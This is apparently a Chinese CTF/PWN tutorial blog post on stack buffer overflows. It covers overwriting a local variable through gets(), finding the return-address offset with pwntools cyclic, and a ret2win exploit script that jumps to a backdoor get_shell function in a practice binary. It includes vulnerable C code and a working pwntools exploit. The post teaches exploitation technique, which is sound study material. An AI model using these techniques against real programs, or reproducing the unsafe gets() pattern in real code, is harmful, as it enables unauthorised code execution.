【学习记录】Week3(一):栈溢出初战——局部变量覆盖与 ret2win 控制流劫持
写在前面:经过前两周的底层沉淀,我们终于迎来了 Week3 的实战环节!栈溢出是 PWN 的基本功,而
ret2win则是每个 Pwn 手踏入真实漏洞利用大门的“Hello World”。本文将带你从快速覆盖局部变量开始,一步步精准计算偏移,最终实现劫持 EIP/RIP,跳入隐藏的后门函数拿 Shell。
📑 目录
- 快速复习:局部变量覆盖原理
- 控制流劫持的本质:篡改 EIP/RIP
- 神器加持:cyclic 精准计算溢出长度
- 实战演练:ret2win 跳转后门函数
- 总结与避坑指南
1. 快速复习:局部变量覆盖原理
在 C 语言中,函数内部的局部变量是存放在栈上的。由于栈是从高地址向低地址生长的,先定义的变量在更高地址,后定义的缓冲区(如char buf[16])在更低地址。
假设性场景:
#include <stdio.h> #include <string.h> void check() { int flag = 0; // 假设在栈上的地址是 rbp-0x4 char buf[8]; // 假设在栈上的地址是 rbp-0x10 gets(buf); if (flag) printf("You are admin!\n"); }如果我们在gets时输入 8 个'A',刚好填满buf。如果输入 9 个'A',多出来的那一个字节就会溢出buf的边界,覆盖到flag变量的最低位字节,使其变成非 0 值(0x41),从而触发管理员逻辑。这就是最基础的局部变量覆盖。
2. 控制流劫持的本质:篡改 EIP/RIP
局部变量覆盖只是热身,我们的终极目标是控制 CPU 接下来要执行的指令地址。
在 32 位系统中是EIP,64 位是RIP。结合 Week2 的知识,函数返回时执行ret指令,等价于pop rip。
栈结构原理(64位):
高地址 | 函数的返回地址 (RIP) | <- 我们要覆盖的目标! | 保存的 RBP | | 局部变量 / Padding | | char buf[64] | <- 溢出起点 低地址只要我们的输入足够长,从buf一直填到返回地址,把原本的返回地址替换成我们想要的地址,当函数执行结束返回时,就会乖乖跳到我们指定的地址去执行。这就是控制流劫持。
3. 神器加持:cyclic 精准计算溢出长度
要精准覆盖返回地址,我们必须知道从buf起点到返回地址的精确距离(偏移量 Offset)。人工数容易出错,这时 Pwntools 提供的cyclic工具就派上用场了。
cyclic会生成一串规律的字节序列(如aaaa、baaa、caaa…),如果这串字符导致了程序崩溃并在某个寄存器留下了特征,就能反查出精确长度。
假设性实操(模拟 GDB 调试):
- 生成 200 字节的测试 Payload 并运行:
cyclic 200 | ./vuln- 程序崩溃,我们在 GDB 中查看崩溃时的
RSP(因为ret会把栈顶数据弹入RIP,所以此时栈顶的值就是导致崩溃的地址)。
pwndbg> x/gx $rsp 0x7fffffffe0a8: 0x6161616161616166- 读取到的值是
0x6161616161616166(小端序倒过来是faaaaaaa)。 - 反查偏移:
cyclic -l 0x6161616161616166模拟终端输出:
120偏移量直接得出:120。这意味着我们只需要发送 120 个字节的填充数据,接下来的 8 个字节就是我们要劫持的返回地址。
4. 实战演练:ret2win 跳转后门函数
ret2win是最简单的控制流劫持手法。前提是程序自身或者链接的库中已经存在我们想要的函数(比如一个直接system("/bin/sh")的后门函数)。
假设性场景:
目标程序vuln存在栈溢出,且通过objdump或 Ghidra 分析发现存在一个隐藏的get_shell函数:
0000000000401196 <get_shell>: 401196: push rbp 401197: mov rbp,rsp ... 4011a0: mov edi,0x402008 ; "/bin/sh" 4011a5: call 401040 <system@plt>编写 Exploit (Pwntools):
已知偏移量为 120,get_shell地址为0x401196。
from pwn import * # 1. 建立连接 p = process('./vuln') elf = ELF('./vuln') # 2. 准备 Payload offset = 120 # 注意:64位地址最长只有 6 字节有效,如果直接发送可能会被截断或产生坏字符 # 通常在返回地址前加一个 ret 指令地址进行栈对齐(16字节对齐) ret_gadget = 0x40101a # 随便找个 ret 指令 # payload = 填充 + ret地址(对齐) + 后门函数地址 payload = b'A' * offset + p64(ret_gadget) + p64(elf.symbols['get_shell']) # 3. 发送 Payload p.sendline(payload) # 4. 交互拿 Shell p.interactive()假设性输出:
脚本运行后,终端打印如下:
[+] Starting local process './vuln': pid 12345 [*] Switching to interactive mode $ whoami root $完美拿下 Shell!
5. 总结与避坑指南
- 不要凭感觉算偏移:永远用
cyclic或 GDB 的 Core Dump 去算,这是最稳妥的。 - 64 位的栈对齐陷阱:在 64 位 Linux 中,
system函数内部可能会使用movaps等 SSE 指令,这些指令要求栈指针RSP必须是 16 字节对齐的。如果没对齐会直接段错误。解决办法:在跳转到目标函数前,在 Payload 中多加一个ret指令的地址,让栈指针偏移 8 字节,强制实现 16 字节对齐。 - 坏字符过滤:如果程序使用了
strcpy等函数,遇到\x00或\x0a(\n) 会截断。发送 Payload 前要注意目标地址中是否包含这些坏字符。
下一部分,我们将学习当程序没有后门函数,且 NX 保护关闭时,如何把我们自己的 Shellcode 注入到栈上执行。如果本文对你有帮助,请点赞收藏支持!🙏
